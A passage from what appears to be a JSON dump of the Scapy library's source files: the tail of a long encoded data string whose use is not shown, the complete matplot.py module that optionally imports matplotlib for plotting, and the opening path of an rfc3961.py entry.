>PYQGqSn%Y6W?*Vf0Q?(jY<\n5kRodW@$%mQ%Ysr~$(V%qVSrk>ywf=y_eHy6%3|+%wa}UK}7-H}!IgC5A3@KV3>7VziEr%iunpKFNww\n68I%asQTggYbh}E<a?ey#Fdv2;CRUs?B7NOJPlxdHSPx}<e28EvV+D?V5ON<Aw<rFsHT|5rD*wRBHnt\n6Q`?XkdFF2K90ttO4w%~c^(86NTvj6}AgdAH&2Kc&ag~`^kFENGs~d7T*g+uY=@2Cw;}hcK*1(+Olqz\n3K+FW0-GqTbgR8w`p%TYbsC<dNhVj9H=!1JiJh;2}V)WWb~6>*XLBANs{;*z7T&Dcj4Fg+E2eEvNx9S\nZC?qm|yhJQb@FH;@1P{}u{43MNFrX6Sw%75VubyUt%o;7FwP{!%N4QqZ&IDUXZTm#J3_q_6NfVE(=q@\nhOSOUr$xOs?eonf%7gPszr?|I)UGt<%T~8fgNQV(`5OxX+~lLiFkQ?f|8hpmHT4(=Z{o$OJYEerHTX0\nKYOb1w=WI&pv(b0iA2J8xosy6*~t`o=di$GGtVV(G&0*jcosx8Pl1SO*@yX%@Ka`42j|F3sY2Nju!Kk\n*@)2_Gu(>)6Vzk5SeoeFmHas=|ZvwS?CD3d6PX3tIS!=!gP;D{lnB1IlbF731w77O9k_RM*lLG85-^s\n)<Dce39(9VQ;k(s9UwiyRpRo(6B83eLk>o6}xtHXoAiRoEnfEq?!c_A#>)hLH0f141%`FNFF*r5!*E1\n@t89YO>8NXWVPL69(%Pt`|eAGf;9qc%>`=RAB7%*PTq60IqCtv<5=(Nq6iF`!1(RiRn~))2Z0U5*g;h\nX=keY_-BPtJG9HYC!JN+rXb%;~Vo>w$-ngCtg<LAL(+bfg?~-@R#F*hE_*CYw={toew(TKY0K5&Limi\nyrDv%9Ub^K!m~m6j?V51Mkj{OPN2*XZ>&A(kbPM9lP?^sIsQQ)VygR1K2P5Ko3RBBAT_W{W=_uI$|xf\nWXh)4Yy+NYaJz%kb7|pi>rCpiB66pLKqV=?Rx@l9RxXn9t?|;J}Kr7yMWmIYx1G(GwDRXTn*(`})^Qz\n!LAHeMv+w$u0N?`{N77DEKi`r*>-V=RxlV&qPl8wMYL|L-gD{J#zf1lOW=2;VP_D^*i0}YPG*fKy4bq\n}yY+FjP1<VK|1#=;GyfptompV4KMW#`GlFtRDI)l=K<v1WZW9{7L}o9=Pvw+AdkZrA?S9<n{NhU=m2f\nr?o-C0Y#chs{6hw$J*X3kM;3Mj6$Pxw?^LNlZeY!%ey@t3|5lU?t!iBl+vJCfv)H@ltj3Q-C?(#<R@v\np5&hl7{?3d`Qw==Xo)qT%#`x!vSSRUhz>ju+MG$Pk!Zv<n+9Pq><=)gx7=VT4ZeMg%W4+?nm^?RI0C7\nBbScwep7t6=T0(}VFxGXtcDgLf>MGBkV}05SpehR3QUxKO`r;C#%KZ@+uqE21YOl)Tu%or)dplc?dHS\n2v!-^?r`PKN_?IiRiNrVD~GD7Ku9ZmrIwFR4=a!N>G@+l43qY&dBG1z0{=~K!8`Dp{j%ig$b17>g;4R\nu&8mWGE;1Ntf9c*c2{<%<Nq_UDoVwY9-;@4zpw!?Q#ii3W_x{3m$=#eDS$w&hT&rA_07;XhSC4Wq2b7\nwPk>(2Zb8*w)?V>bA^V^AbbW8bK^-2G-0K7~dTnxHE-pz3hAxu>bWN9fTm^vVdCpJ3NQ;I4_?NIEWkp\nu{<l@*f|`%db~xGj3J#TSz?n21<JR$XkY@`srECr)qPT}cr*~>PFaJeak_Y!r{nm0!hjk{Gnj%TGiBT\noY-qtez)k|x_4E1mI;@IZ#Oe_^3Q50Px6K?KO+FW_-lr}p|57W>0$3GVEjO&+XN^qazl=^O!6phIAs1\n2h?7yla!A8ocff%qU+SKi`a*+MX9SBfPvd?KL40s0CzKL#+H5A(y(du&l15B29qV2c>jzlKR-W{%yfb\nG`MyYATuV<SY5+f0OuG*D5ZuE+XL?I#HrBE9gi&mTmonw{zlNec8hdggi#1LJSwNq93}o0+;$Zv5)OY\n%DiN0*zlp9IFe8EG1v?Z<9AgFA2br$mWDefnZ;B3<l9Iffq<yvRth-#!^=|Jstg*m}-95Bq3{OdY{De\nMIvcW6mTpFN{w0>J!zY^uX#!zkkAF+y1g@Vb?fU7S=qooO9i`4oHSVU5pTJ)CwUPgGb{>SyQAR%TPvJ\n)>K$V+l%{gNWex+SJj2Aub^|_WF+3PHafJ0c%%9_;F92^gO=c1}3T@)c65`&V{tnmcF`@|BW)+l5&|n\nmRWtbkJc9W8Lz;aV@keIDrqOuq|Jbl-%al-mFPGrAE*xH_wxUgOxq6WY;!Rg^XDG-lZjkK2@-{Qwf`c\nNrbSORVt3lWbkLoY6hTqj>hutmoKLArM8+?{`R(&j;E*oSOC3Tgh!tD7sl#2hrAyRHq`3z*JWCyWXrl\n&ZBZ3;Y1d%l(K|=)Q5FA4hl=hKH$3y@)jhZ<byF!v1N^?;tu0Lhcew-%Rgj)2b1#ZZiz}r_6QUAY)s|\n*6Vd5hDIT8&9;cMG1#i*FOw&*KIH{RTv^}M`Yo1#RAVXk+sylWn=Bt;6JS6MqjkXBb5>wr-4JX4&^Cx\ndlqT?9`;o7|69GP4BvF!n+{XMSn$XVGRNUElo8&L1^{WER1Jduaoxh2~*B_pp^qV^yQOs>}wt+ya!Ql\nkMhm@)+g#$^y2b%;SFK@B(kURRc*}8KX&ES1r!sC)(qy`&0h76Dyx^>d*FL|tAdE|~KU&8Cl+evt@fg\n{kZJGs2Ob+2vg*@2Dt2YhR2f5`L&n5^IIUGU}~?&2kxDRNf{4ArX`9c+lU)mR|`3wZ4O=pt6sa$Y2{@\nu?_)!v-h3gYFzuv+&O<eTf$mI0}K4n5%~7|M~yZj^+a-$37*`>h3iup3}b=5W`x`JoDohT$p}5pEDqa\nc39K+Z*l%ds*Pm{Ha5*93w6+8nn;tcchF@Cif~Wq8wdIs5Be-abJyz_44El$nZ07Sjwy~ZKx(2$WmsB\n&1_;tj4?*j#G7Kcp`3Cfh9b-!N3tH5pWnyi*fr}vpljY_XOM2)pwXG<Jol;)E?*%q2p63QQ`F95|6!9\n##GA5zz>e`)r(zhvqEz(q<tCVQdoTtZCwH8`2S7lER{zFU-+j&m3iSztj$7uEqN!hM#w)AW)CJopf+D\ntaIAAQl?%QuA#GP_Y;-Clan|F%hV`!z2yhemD30FL9-4zui(@oZ6*D()k}hW6p)511^sAL;VRG?9?Nj\nxwojBT$)hJxT!`$dyA)GFucEv1__g0B~F~qfZ;WEb|w+%PYVbSxMs8yH{g#*)Fb##t1;^@?>miS-4?G\n`_n2a2<$iHHX;if2zvN_lih#dGxzCLoR&|O>JYBLK8iU<Jrgxu>-11<dB7VZOp+{lC}NR1Zh;sW@=UF\nKu`Cp;w*_ma0?5!ZvT*hYCS)P%u??`F`nqt$^rA+aa>SBxd~8*l#44*y0{%o;D`mY7BF139Gaq_*!f2\n~+<22*I3_N8HnDgt=d4j#MuhT~ajzo@NyF{)6<oL1Q7f7?vKr)*rf<;LK$)Yqs;%-`q@j0KzCizwZF{\n;D3F86s;hTXH)fjM)-F6)9Iwv9~wJO%8J)y!~KlyVy!SW^PCgf*Qb!yYrWuFo;(Cbc2_g9?d}{j*k=5\n$?<r@#fM@0!N`oX5)icx7}Qw12LNX85Z!9OBFLQKt?K%ay+7SK}q?Ps`7FLj`mY-A_wAGn>@AaBw5J*\nxkaYH8ok?x3pn7ea@?zls{y9*4h)=tXn0_Bb2tR8gs*NzZk#Z3WBI7*d2<ub<5ii)A2CVd7_%gf)r2%\n_H_D5pPF6KwL#g4=WvisoPjDHTNh47nfsk3bvb0WT<?2E^QGjQ5;dkkC!+>!RtK@67nM$xJq6A{J?)W\nCnk{?K1#<FwmReD;3D5XlAr0_>l2E?e4*|WmTyGe@pIn_3wL~87?LCwrCV%GdO_jmW|GR%_VaixGGkx\nhkRN0)nY)~3P8G_##)71+#^a;&6>jr0lkl(|f<!{9!TXFuZAb&9}I$m~W!hBH3wsFH(`v?}}lBK+cha\nozLqHj>~-A=kUVymH*?u_~8NR3z0b`4P`&YDL)v1rt)X$7XrJZo2_9&Ooq^M+ds+)+oqF6QtTNlIQr>\n82R@#a(+ce*OzJ;FJdJ|(}h${YXHj550l_35O4NQea~)}^(m_1&Ol;ux2XgT!E0{o$s(RxqH9F+t;d5\nqWNom2|9m;Vyt|dlT!C$LKth=QeNi1Tmxq!9tO&xeo4>mSS^;~Yc7U^x&2m(wWr>#cXkJ<101|4G>oR\nvt@Fh!@Ce;7|`_Ug{B<EfIB+NotQ{1=LH2I-J`~s|XrLYRB+2mmk%B&oO<MEAqdwUZjjfVn;;T*5Rc3\nZ4qci)i6CFb+aPP&cjra@}ZI`kX!SmE9e?4ps(VG~H^zm)ovuveXgywIs(2_7IXeXm=8gU8_kCuc)8F\nb?!Ba>{$u|GtU}E(SDZv0Rk_qni19;>$28Ef3#al;gtTNY0R7^QSCGk|M!iGy+E;x(-;~y&JKGP*+6-\nF`AnH(^+BODJ!>XqW^$sx3{02N(`hK(Yq`Iuf?n?;RVNU+sjJ}96*bBi$~n+u*Cn}B&`F%pdZv<)iAt\nA>Qb-M@5!hDeF;n}3yh&fewUCVjb_4Ck;{ZQ0LKnOk|6gipSP7Xj=bCChgXS4y)@(rSC8=W)^kM8(x&\nyaKk{5O8_|HZ9-$9Zh+5v1eDRR}01XTMf(E>M8P+tB^2WcHEa7{&e^beX64+tJxhG!HV{(p-gfwsjGR\nLcwu)T88`HBSw<wZ^a-PcWJDBY3eG{(7i6Tc>z4ipGrd%{W6PYM{H-WOCj@aN}*PeojG)YWaT!#1gh=\nRT_DWx|2>NyyR0=lA6){p%%$qZ2l31Gr;ZO8Ax?=h9UDBOn|AYbuKrw5?{4MlqEhO9SjU<L&$1y}NgV\n%THtXb&0_FHwhiULiu`*|4oU}h?n`I{fk@jc>{7kk9XvYimCccg~!g~^B9w<7p3eht`T|a{bnr51ME3\nK74z})3J%KU6W$r|iL0v{Z}^TZv?0qL+2Qr@Tt=U}IoHecSXMH8xH$)@-h2GBld$H%(^jnwos;$6=Vb\n{?Bf;z>14ynCE1UO1X6w4GPnZ6L1L{2WB1T`=<b3i^Snkgr;&CyartDmRDfbB5zS!stSS!KDMgYAgf8\n&%zQ9*ah(0Pmui2(ka@JnXTN18El^U}w50z)3!EE1U@senqC6y4?KQzbKKR?y?O&-%2Ut*rj4o<T#&o\n>L7Rfz)93HU9o}!htCdIM%}tOk4p`zh;pp45i_~`*<bT%diQY2Bak%U3Gp3)Vsft=UdDeF^c-{X$BiG\n9xawFLSNm|g>>x>BlqvU!ya=W*I6Mw<~tLi$Vw!lQ6NTwCF=i;TC4A#b%!i@2F)MY$yEUs-iPrtvT{q\nCmmpX(9AUUOsIw9JK63#E;pon!!ysVRv3|}0i<}&q8R&;Bc2lp5)|7llA^W^_J{kk-k0oM0lS8Q)f)i\n#q)h(6>G504cpkN9wI4s^3aK46S5x}6uZhc?IanNRA2=}XdtIrSt*ohK!SeDJGS_oRk^ez08fDKtAxl\nI~5Ruj>$IhrSL>N!j(5Wn*H!(}%6=!{;MdQ}H~W(<zg#bP3@UI`q9h$es{gS85kf>x*?aL?6Hs_Wc`p\nYLUzzXXm#T44@`?EAfYNwS-yd@{g6WY3AfWeJ8&lWakpX5NL<d}6E5Bw&Aw>Y%rQZ%GFMydxci@ll6m\ntD=kUE}Mhlrhp?*veotrJl0r#bW57y09fZoSH<7K8cD;%=V1No^q79Jeaj4dmdN!POp0<Udn^&4Ho1T\noYBkXlg6Qm&I@;h+0b^6_3mVW?NnFxxki`eX89($&MwS^E+x+_Qgr!m)x`~DzUNJMi{Ax}f1Z(>kyJL\n{0#mG0)e93`+SJ+*k^EV#bAuqq(=WGeNo8O({<oFWji3RV<1cYRlm9W&%WkA9Y>#3DEl+yA&rkBf4&j\nvV`O9vp?=)xY$$7^!zgniZ%<Gz|cSEbZ!6kvJ|45zg!&70ndDJZ}H|M}neG8Ij)LX@=^-mKs}3<sRgs\nKJ*S4p<@gMU43wUNRM=paT3$A{olb#R0EbLiCm&4q0VDfCsV)oc|KY<C(?Ll}xAZJ0G%`Se*q0DlhH+\n^awxT>ig0H2aufGWogDi`ZB+Xmrpk-h8O@GA0a%(0`Vv8_In>!GAA|+SW4;sC?*Qf4?joeU6H80M*_7\n($`7|-JwD_t7!sW@pY?6>1Ibx$l35yS;0R>?B1q8Mko$Q0{3Vw3I~I_^G|F)sKiV>G4U{<>amsBtosn\nfoHasw;$LeaG=JaAlzq?*3bcJMhm%36&pv{d`*EPQA^vvu1{4S5Z2YQF?98rty9Q*cK7~W-BQ?jwW1V\n@PUmlkzc3*meCw#6;L9SGoPG_@jKMoV>H%}rwx1I!}mvVg??MIH4IPJIE<VC_888^kX>>t;7gEzCoyI\nmWBZYJdQa1kyW}+8-j1wVE7*8Bi4*tp62{vHk7Onv8g*Q|%JxC_L->G`2RyZUxhLejO7a2{Cm!F3L1n\nZXwgL#BG2%@@xDO8{i;%X9h+QD=f9Ef0F#NIiu73tcWEl&{s;@x$bScDkh>yecR6stbb;`7JsYo%`QZ\noSOXn3E@feii;Ucq+3D7E$Kk}CV<x%;M-xZFX(GmZXC8T7ev&bOLryy^c@m_P$5feG28_`9bdmg)eyk\n$vbR{=p0&rw2gj0@~S-z`pO8|3|_HlH4cGTZZr|2+8<Anko+3hlh$?<COkk8ZU<sAb!vUked+lKOG^*\ntxRflXU^MfEp5PO?&yqu=Kb`BG?*7`iQ;i~Qvo!&;v*P&SGZHfiyv+U$ecyB&Y{boEi5FD{m1Qd8y@Y\n@$*(U=@Hxiq&56;Woka2^aH7sVnm`48y@m>(qaWQvn=6$EObB0>^vY;pL9p$=%B`M@?M-M<aW3EMD>q\ncMhr!x@bxd7_%GhF4Y35&kb-8SsTa2#%x2D7x*R3g5))s=Pv+2W5wXOfW$q64NRGyd_Q(WNx`dt+;PP\nI>0(nT>Uw*-cW?9J(Sl<@VqC~hV(iIR#iB}JPWvwlN142wzE=^@d~vaF3MKu!cP|4DEPW0t{#e<;0xF\nZdd`cf;u~IZ}^tu_tD#aM5`rD8B%Cw^(`=5^;Jo*PaD}*@pynjxU*NOo(h%!$^RW^&KDV`nA7Kku)3W\n}_dXtA=T1_>%y(aYL<)mL(SY@tBY{D0aD4m0-F`Yjhr?6!a`Zw9RQpAb?Z&BSco2rEV8t!nW8Nb<#2-\n)ou#BE+bfcYPnC){SSf0FFjd|MEq%2A96iKak~&17oj>;dGaV)s!utllvT-AuHer^kj8aAA38{CQPnB\n3GZ&D=B9vdY$nE15|v4w{gvn{bNk-J<#$YMLLRoa)5Dt3`Pf3C!!-Suq<Gf~n_kT}S0?*{=)VD9pAca\nBd}ANBoT5*Yey5;~J*8ONW5K4ic6!2g*S+0tg@pG$EqRR8GbSxrAhd@5if6fMZX_gW<IH+B_8@l3Qq2\n5#@sL&v`C1jQuazuVkQ>l+S2QTv9K4|2C`JwsawuYG{H*04EJ_nG_tV?>*bITjcxC1pD3_%HjzFrGMh\nH+E5ihU4e}}h<mYV^1fPzjTGh{#VJq1)mnwsIJ3pjn;X<n5}1ssWR3tr=i^Rcyp*QuLz<)e;CgIBO5;\n!Njv3P8(Azf^DONA}&F_TS~27e3a|rmqYn#KK1sVCEuf^a2O0T6DX{4?}rPM3d9(l$Vc77iTFxY7Hby\nV6rCf*a_%6Y;+2r@-$zOK=oND5x1(YRU-QVZrK!1UFHdF?t}EPeMNA3;G6Q8DgOEQ>d}HDMDC*)=d-%\nGO(`}$a^}-gvV(p~z_P|0{S@A$XXl~|SUmi4yny4*PnR&`FPDx$j)cy|m1F0p&0^5G`Vf~117cjra$G\nJ);paOJrh3zgnCZA{?K`HU)!Orln2sG*1riQ2fWulXM$L5*XICqj{Sp=@0!JX{(vgjf?cxME>hXzYSW\n!=b8bo7m4VxDE$b3)Bk;1&3s7ikW){@Q5&u?{E;`^?5-s&@E5J7sYbtnNgl6(8e)gHdfM0s1_O4h(xX\nwT%_9<m@uGgxk>qj<%EEii)7E^B}JcjRY_NxQ6hx9HoE%)tJ%Kv<*XF}ZA|?0ljg>sU}b-sB_2Jf$$5\np@aB2eu(`zv%moq&!lhMIdZO&RSAla5D%F1Y<I-bN52dG%o-D>iWw-a>vdk_3)S*R0@?rw1kGCog_lu\nA%-@n(%m8_u(OHjr>d=w$B55NG*w~y~h`R2+-5Cba!o^RMiH&Om*joPOBX@c?sJABCYk70w_1#2g2Mb\n_xwdhIQZZnR#J$Zp*Jf#`Ea?jl;ytKeU#D7DZc{4}(d<B*R17cW*SGv_8eiuSCN#Wbwr;AVSI%$)<x;\ndQUBMbVFW|PFPsb19@m`B`YM$vwrOAzU^Mp}pEQ2ByB-Tiygd&Ojw?^%3^=g6N4%7XkV1$uvW*w3;(W\nTBP)O$&U%&p<WlY8A`lUIBIZn`iAam+b@{pvaYo)}sOIUk+Jx@0$ospOU1&ga89JBm~eKUJF_l(|ERu\nGY-~Ycf@^O4U{Mlr37HxlAq;3TKj|DD6iw}4K^&*no^>z3!WF|?6ZJ6CoHdd-<IELG25kyRRN;ZsBT_\n`h?M)xepOC!ut%$z1+oQ@ITAr;P@DNc45y~c_(xn!^Xt%^<+%b5AZK=*i|(ybAZqXcyKK7@{bJry%)B\ni%5KWZIrz%}@j&F<ti5aQO^PuWVF^k`B;zH{5&jz%QeExz}uIm(t^6K^%+ULHy9S2~CcLn+eJ5c(kc!\n6^T9Es9Lk+SX`f7Wt`(F%a*kZC71<CZ@1w1<o+s$9+!SvhLKCf8WUV{T;OLMW50%nJ_2$M?tAT7sU}B\niKq%2f%k_0C{t8b|?~bq-m;(Wm=X;Ukc0(Q?t<s-nhzM=9OyErNH)A88Du+Q4II{&YLN&ZX@NRyBN&o\n_6~e&!CBDRut}WHbFxV&-<2qESf<~3t4aRDLY92CYmIhKSOVu5&YGwEg#&e$FqE~-ySxd%j$a6H#xKX\ntUyj~px~Kdu_M{^S0k3=56YRFwr@cE(SPb{WckbCVAizn5p3~*!7GF|TK!_<_ruYD_ZojoITkktxM)x\nf6DIM&5nNF|c<!c%%;7F7?c3H4IdG+)9++COAN0>ZdX|x8;gDI3=R50^G<Q^?IZr5EN19?j^8M=H*r(\nlg3;7pH%`+T{HvQo@3Y(fDbB!V?I<>CeG-ejB*;Ea<3Z8Rl83p?-=hEqBlKc!y<aDJCOY^n1#%@p0)*\nK})$qB~^A<b9R?k;*_xp#WuvGMaIBt)W{1dU&kFBw*%C*JaIrYBpH%kuRNAaeqnDhh#4I1_kI&;r?r^\ng=lV7`ds8*x-1z`1KY!9uZxpLHgce@F}m+g)fB@ickkg$sy<SV(^x^hQV_n`_D)#8CoOda|JW%IE#q{\nHUkRq*e6Bw(+A6snfdgn8RfUg99LTn6sr@S0lHBZ%>LFIZktpAHiXGeOPD#tx3^PlfOR&W(sFN6|=W0\n=2L{t*-HaIV$P#qcV!(x#X(}eCqaxzng9ZsL}@iHz%UZ4ib%Cp05?e$ZhR9TWeGGGUqBJ1DMa%LPR60\nDh2QlMuG*@MJ1pfw4Ucy)twoBbA3e|_~DBY(s)hV9q_lgc94EDRsgs7R3$kQ#<^I#Y-3W?B4F74WL!2\nMZiPr5$aGuy0)dqEx1x0H!-bd0eQYT#A^Y>)^%oWh0p&;_9AtW!V=iOmI@k7ZQ-%3$jo@sFp1sH>@mE\nrTrBj#q?>d(So|Vfnd^3Vd}NvNO7l2d)WLpM5E=3|3ypE==*oF#mA?y0IJ~!)iOYYI&!ei8jfsCpc=_\nKYlR5uf&F7t9skMd0Uvu9(2SoOES=FEUUc34jVPfJSCt6O4Rz-)plrOzd@}<4{GZ4AraLTN)5Orm)&%\nZ>hexl=XlCjrf`Axh)v0YM^?ICOeup~O>oW$TeGVpMnV=PsaN?m;9#+ZJ09-TEL=X&{leafyc{ls*U=\nU#Z&bPsR=#Iye%ZqCb9DyA7oRF=7pv#QC8!%ntEPs=^ItpxYOZPk$V^>zT(Bm{%W9yTQ6El{r(DPYa&\nFinJ`DF~0CV!{LyUluwgoE|HJz(KecXS_)FI^6d=3|ypbmsM&7&`qE);vhLUERy;G&4R}_i`8auP-?F\nT^_?qOdbG&wR$)oY3^xFP!sd2-(_*k8YLn^hWe)AWSkXAyg)w!1!8FLY)BcdlLf4B<=8ZUs^<OvS-(@\n?Lx#h>19WWEtGsu;_>j<GVjA-y;?K<m)dlt`^15B#ZtbUh<$a&^${m3jh9%n!e9)HZn#T-eX#!L<O+S\n^f1rDNXneEdLSlRi-w{ZOF_Iwih7hg1R1iHLs2XjAS#jJjgUyC%U6>v=c6RSfKqBK#rb~hjYY`}Y;O^\nQSu{CLU;;Ao@<vuvF$Z6U-!nu&FLAJ5WUYvo4*?Ff_&I;<z(MV{q_I)^0Kcq)OEOH<S;Si<p5oK@dr1\nssW{%c`K%tx}r%RoyoX>~f&j<e<m$GwPn2gFZ{FXtIYO%XLuS>kPxAeuLp23)Y>3Z4X+_nnI|qZqP!+\n6h6zo5$Qr@F6zz*SUWHV!P#k>=ZD4_nj*J}0uG`hnN6|99Dqsaqq$Dvm+v|URs&f)ZeK*mx`C5G_9YK\nwU*=1Fg2FR1DW@RMdcZAlJNEs_X9i4`E)1ttq5F@xLB!gr9rQjT?r&_MPa-?^`uQNd?8^xSn;hE16Lz\nj%X0zl4n}SPG1Kypk!&6qSx6cDP<Z<*J{M}+KZ9jTw$adIbb<g|Ss|f+>xx7!Zq>N>vj0U`BV}!xJM@\nCHSBilF4WoYsmhhR}0=nw``dVYO+NU><*jR7^zZ;(GS<Ym}<-*T5l$?vAi_)*8_HPFYPNk<*_*dDt#0\nRpMFX`TfrAJvirvyui(kE>zS4Y_eq!x1=i*#~r!FRN08E+o)_40BT+J7>q$B9;-KNkYK(H|??D2{QNp\n#()^)GgI6x=DBg>BVgQAVz^t=XFm*BJaB>;0r1ba^g1=BHNA)jf}*I3IqRU_+J_M<HIC9*RdT@UA%y^\n~t@7_~K`WDGlnNZ1!$Xaan9KPmnh#^|4OaeoSHvsfSkT}Y(bN)<3W?}ICBi*rHgc2A1bL|22N?Wri)l\n)u33m2@7ZBf6f`3v&=LX{_lnPQvw^@F@?5+a8@c!|ER8H!vM{s%T{ddriFn(S^bgLe;1?Hy3VB^L8eB\n*w-O@0VkaQkQRD)L`yx^SlH$r)PKr?`wjtH`ElJV)Rd^k4t+|KOq#&6)q}KmOkhEqvH&5!1FU^JMyh$\n~i_d4X|-dNBB^aVw&cvMU$SvICd}cd`h%z05VHi4l{1u@#=e0*pkTavi3?2GOpZ7{%k5hC9s3~)=`M9\nHZeusoe|);vsX9(;>X0w7?12#Tofyv2P?puGDv(JQq;I-?;c<+y{Td#2~=_-aZXAZ<DZ2U^bqIkS!eR\n<HebD*!uV%FA%G)tD!jaeELC0QldLZq<Cb-=qwrg}ejoDcx_!%T!+2${s^^NtTh$DBbxUfAls9hLi{y\nKfMoF3!<Anr{K+5%|cH)2Vxy&Q!vb_Gkp+wH@v1T}pwyz$eB68>HL;Mg=vAjS7M<Ai)S8IJegnX}m$o\nALc1&u%JigpK#0CT(f?eeJe7(<y^wctSe4qP5yu1#4aB^wo@xkyArExw|9j(@}=sD;fg^@aDbJ|R71%\n|mZeEUuG;2NqcW%|Fd+7_!uW19fqjCF&mNXLns@;GCzAvA0@EBNf3BqOIFLuR7eNP$6x6@4#<_(>yd%\nEP}HW;;a8{S(?~B0;X`g;aR&;Vv8FwGvK#sUd9CndeKK~Onq1`oV+bLAoF^(8CY5*{!=o2=0JZV-U%~\n`gSbefCO#oNn)d3}M+NiH$jMK%@$-@2oKo7N6?;`>>nVAtG{fZ$y^!T3yk&=<KAN9{z%j@!X0OfC#`Z\naokr|zAo?-cd?R3)b9O%~qqp9b+PR*j%WuyaN;O`b+u(7};c@E;LBQCT2Ncy4SL@u4^1$}r7n4vvJe|\nYH|j&B5(@mtxlFnl=R6{bZB_7x~=78unnDL;shfL9;l9Kp|}Tfh``^Dn(Vi#c7+;-~ypbJQSkZgsH9v\nRw$lA@g>fhqjv~0Mgr14W@ZYhw&Bp$Vu%o?;~t(qPMB|I&DWHb#;sSvqo60pQ#_GnSH>BV6(?U?U(sV\nFkfWoR>mG0=-Q&^mFKe>pwH<dE;taKHpRe03lF`3t0sFgro50va}Fsj^iLQQ^0z8`PK4JKJ~sgz=|kP\nphKy+Ie(S8=ZdxRQLNrTvxv;yB1Z$o+5TILb!?1wgXXjOu6BR`%;p|h4nf&Llib@R}fq2%&HY39yFfa\nW+Z=3J36AQaUTqN;)`NV*6Qv3c{NYCYRYP&{BV4g^TB~ZqemV9kqHJ=Bm0uG{Wt`A4)vT_=dD^(;JvN\nxyMcL^LsBpR2J^@QFZmMm$u0y(WQy{};#O=jv?x8RP9ZLcN5$OBa8zr4G9vU~$sn5MhWCa5Yu%jOmeu\n;vzU*3GS)O`4kOhRg=gZC{S=)yz+lqm8{S8RX{4Q<cs%ot!|<EG=K=u}tVw`Fv8=W<r%onHOnXuEvQ4\n&PrvCrg`Z|3;yj5U&(mn+DV4Cw{X6Q?~^6+;Yr{~WXIZe6w~~rDpeCg3D(jYMz71`wRLEW?u*b3g3J3\n5S^Wh#Qs~3gr`z#`d;5`^r&8D$+hbT4dFcjY3mio8aY_D`?N5OQ@Pky~NfcUN-Fp7YX+rC2fS3JH<bR\n~|SOP~OQgGr&Yf-~gbgqE&@InKuv0ga<Rzd|p7VUJ3l!$4W{+VjEV#Uahh?^Sz0@G!@8xFLd6|{Iv>3\nQ|(nE=K<Dn^64VYUhXag_f^3O7To%ztzQasbjqe4D7JZcR>dYSRU?XR@OK_z=a#Q5cuYkL%mM6t(%2x\nb&=P06?qua-j99<w)d?R_kA>0FFkmISUGF*rs7?fSvj&vGN_7sEN7KU(@V@WKLtQ^abb*-zt`@x2}me\n6Y{&w79lG5e#9$jFDkI5iP*bWV73lFE&i+$Q7$!6Ko(DJ(TAkC*-Iu#yqK?4^B@WI9&bmR-Q(^xElWk\nCC4r&QI<~`YHyhX>;nA8x0Rf1sp2(Q};ue&-xlY>=V2hq1<;+eo!A8OA&VQMpw(_#&uwoCwZWf@8!hx\nuC014<D2zQlmkso5V6E8``-hmnu0=biX@SjvX;iI#srK_FO>@Bj!ffdC#<Kq`aloNCq0o0*-H%t@J&N\nlfp_EAzi<tNl4rx+NW$Lm7$ZztG<FLu-7KGwhibbK#L`?Fb!zgnE1$Hnnn-hP(_27ZD{31$jtcsRK6-\n@8ol>IRpqoS?_Zith7=q*!`+395qvjzng==`*Fb38TLd<}FxiIwFGsPpC=C$`Ie^K%2Pu?oXS)JUHvr\nG#!KC*~#EQM_J&#bMnT8v}ZK1g(J%E12Qyo2Lm#%@qC`FIA9-($MRkq+5~~mysPJ561c60c_K)Xjw~`\n!=^$YJg})@Q!<9c|jfVA5h^x*ITGy{{H#|6-BS2N1+-q=?&Jz6Ez~DO%9D(q2J7S-jXxm`yS^c}iQ^r\nQ^-CwD^Z3$Esw_OM!=f`r}HyluN0J$4m@A5Q$O|u`d$<q)>)rwQr%1wa?qus#7><eGwySZG%sHIEbNc\n2e64`~#EEMtN%ig=~HbpkNkI&3i#6(7{=QT)6zz!6B9{4lszlOH5(GZv^O-hq(U&+SiJ346@jYIU=5{\ntHvozAt~oqT!Q}8l0WbFL0KAPm@9>C@b(j#}$O=8^4aTDZUM%<JeLVb#;r15)L?R&u-shIOK^8yPo+P\nt6<%YHgs7xqn~X}4imyB?6O=O_%xR(2Wle>173E3D-^$B3dFdO`B)=REz)OMy{p0IKC(VCgSQV1Fo0;\nc#YqS`SX+t_X9K-^Stf5$Ou$hTv+XHrv6{oiX?;<b@t`&4UjljRaoMvNBhL8w)3Lz_^oqe@yF|nrMqg\nFgd7O)^O${XfoAW_X7K|&M8a>hCeXn^stmtK1Ka3z6DH6Tu{_b`X{w7zR0%YY0376>-`y6HwPnz}O3J\nIQKeCIaAgI6W*@WzBx`NKSRYSc*k61)ZVHl`@#T`OcJ{eAL%nV7VCf$&u`F`v<5ye3(>Dlwhh0G(W3I\n-jnL`SgDQc03q{!tp5p\n\"\"\")\n"
  },
  {
    "path": "scapy/libs/matplot.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nExternal link to matplotlib\n\"\"\"\n\nfrom scapy.error import log_loading\n\n# Notice: this file must not be called before main.py, if started\n# in interactive mode, because it needs to be called after the\n# logger has been setup, to be able to print the warning messages\n\n__all__ = [\n    \"Line2D\",\n    \"MATPLOTLIB\",\n    \"MATPLOTLIB_DEFAULT_PLOT_KARGS\",\n    \"MATPLOTLIB_INLINED\",\n    \"plt\",\n]\n\n# MATPLOTLIB\n\ntry:\n    from matplotlib import get_backend as matplotlib_get_backend\n    from matplotlib import pyplot as plt\n    from matplotlib.lines import Line2D\n    MATPLOTLIB = 1\n    if \"inline\" in matplotlib_get_backend():\n        MATPLOTLIB_INLINED = 1\n    else:\n        MATPLOTLIB_INLINED = 0\n    MATPLOTLIB_DEFAULT_PLOT_KARGS = {\"marker\": \"+\"}\n# RuntimeError to catch gtk \"Cannot open display\" error\nexcept (ImportError, RuntimeError) as ex:\n    plt = None\n    Line2D = None\n    MATPLOTLIB = 0\n    MATPLOTLIB_INLINED = 0\n    MATPLOTLIB_DEFAULT_PLOT_KARGS = dict()\n    log_loading.info(\"Can't import matplotlib: %s. Won't be able to plot.\", ex)\n"
  },
  {
    "path": "scapy/libs/rfc3961.py",
